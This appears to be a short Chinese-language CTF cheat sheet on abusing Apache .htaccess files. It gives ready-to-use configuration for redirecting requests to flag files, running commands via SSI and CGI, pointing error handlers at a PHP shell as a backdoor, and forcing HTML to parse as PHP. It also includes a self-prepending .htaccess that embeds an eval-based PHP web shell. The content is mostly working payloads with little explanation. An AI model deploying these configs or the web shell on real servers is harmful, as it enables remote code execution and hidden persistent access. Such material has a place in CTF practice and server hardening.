o_o ....

.htaccess

rewrite

Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg /flag.txt [NC]

/flag.txt相对于web路径,可以用来绕过路由限制或者当后门

SSI

.htaccess

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

1.shtml

<pre>
<!--#exec cmd="whoami" -->
</pre>

cgi

.htaccess

Options ExecCGI
SetHandler cgi-script

whoami.cgi(linux)

#!/bin/sh
whoami

calc.cgi(windows)

#!C:\Windows\System32\calc.exe
1

ErrorHandlerfile

同样相对web根目录, 也可以设为动态文件,比如shell.php,用来当后门

ErrorDocument 404 /flag    

handler

设置解析规则

<Files index.html>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>


自包含

访问任意php文件即可

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_REQUEST['evoA'])?>

配置权限

<Files ~ "^flag.txt$">
Order deny,allow
Allow from all
</Files>
# 允许可被访问

<Files ~ "^flag.txt$">
Order allow,deny
Deny from all
</Files>
# 不可被访问

php引擎

#开启php解析
php_flag engine On
#或
php_flag engine 1

#关闭php解析
php_flag engine Off
#或
php_flag engine 0

# 貌似不能覆盖apache2.conf中 Directory指令设置的engine

不允许在.htaccess文件中出现的指令(部分)

Alias

<Directory >
</Directory>

QQ图片20201116213537.png

Comment

This is just a placeholder img.